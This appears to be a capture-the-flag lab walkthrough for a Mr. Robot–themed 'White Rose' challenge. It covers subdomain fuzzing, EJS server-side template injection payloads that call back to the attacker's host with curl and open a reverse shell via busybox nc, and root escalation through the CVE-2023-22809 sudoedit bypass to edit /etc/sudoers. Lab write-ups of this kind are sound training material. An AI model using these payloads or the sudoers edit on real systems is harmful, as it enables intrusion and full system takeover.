White Rose
Introduction
This challenge is based on the Mr. Robot episode "409 Conflict". Contains spoilers!
You'll need the following credentials: Olivia Cortez:olivi8
Initial Enumeration
export TARGET_IP=10.10.213.165
nmap -p- -Pn --min-rate 5000 $TARGET_IP
Not shown: 65304 closed tcp ports (reset), 229 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Trying to access 10.10.213.165, we are redirected to cyprusbank.thm.
10.10.213.165 cyprusbank.thm
Once you visit cyprusbank.thm, you see a maintenance message.
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://cyprusbank.thm/ -H "Host: FUZZ.$TARGET_IP" -fw 1 57
admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 535ms]
Adding admin.cyprusbank.thm to /etc/hosts:
10.10.213.165 cyprusbank.thm admin.cyprusbank.thm
Navigating to admin.cyprusbank.thm, we find limited access. However, /messages reveals hints about users, and modifying the ?c= parameter exposes hidden messages, revealing Gayle Bev's password: p~]P@5!6;rs558:q.
A POST request to /settings (without the password parameter) results in a 500 Internal Server Error, exposing the following:
ReferenceError: /home/web/app/views/settings.ejs:14
Exploitation
This suggests Server-Side Template Injection (SSTI) in EJS. We leverage an exploit from: EJS SSTI RCE.
Testing for Code Execution
Set up a listener:
nc -lvnp 6666
Send a payload:
name=test&password=test&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl 10.2.17.44:6666');s
If successful, we receive:
connect to [10.2.17.44] from (UNKNOWN) [10.10.86.168] 48210
GET / HTTP/1.1
Host: 10.2.17.44:6666
User-Agent: curl/7.58.0
Accept: */*
Gaining a Reverse Shell
Intercept a POST request to /settings using Burp Suite and modify it:
POST /settings HTTP/1.1
Host: admin.cyprusbank.thm
Content-Length: 19
...
name=test&password=test&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("busybox nc 10.2.17.44 6666 -e sh");s
Now, we have shell access:
id # uid=1001(web) gid=1001(web) groups=1001(web)
Sanitize:
script /dev/null -c bash
# CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty size # Check what you use normally
stty rows <ROWS> columns <COLUMNS>
Privilege Escalation
Checking sudo privileges:
sudo -l
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
We exploit CVE-2023-22809 (Sudoedit Bypass) to edit sudoers.
export EDITOR="vi -- /etc/sudoers"
sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
Inside vi, add:
web ALL=(root) NOPASSWD: ALL
Save and exit, then escalate:
sudo su
id # uid=0(root) gid=0(root) groups=0(root)
Explanation
The "--" in export EDITOR="vi -- /etc/sudoers" is crucial because of how sudoedit processes the EDITOR environment variable. Here's why it works:
-
Sudoedit's Behavior:
sudoeditallows users to edit specific files as root but enforces security by only allowing the specified file(s) to be edited.- It retrieves the editor from
EDITOR,VISUAL, orSUDO_EDITORenvironment variables.
-
Argument Splitting &
--Usage:- The function
resolve_editor()insudoparses the editor command and arguments. - Normally, it treats everything after the first word as part of the command itself.
- However, using
"--"forcessudoeditto interpret anything after it as file arguments rather than editor options.
- The function
-
Exploitation:
- By setting
EDITOR="vi -- /etc/sudoers", we manipulate howsudoeditinterprets its arguments. - Instead of just opening the intended file (
/etc/nginx/sites-available/admin.cyprusbank.thm), it treats/etc/sudoersas a legitimate file for editing. - This allows us to modify
/etc/sudoers, granting us full root privileges.
- By setting
This bypass works because sudoedit expects a single valid editor binary but allows additional arguments due to --. It’s an unintended consequence of argument parsing within resolve_editor().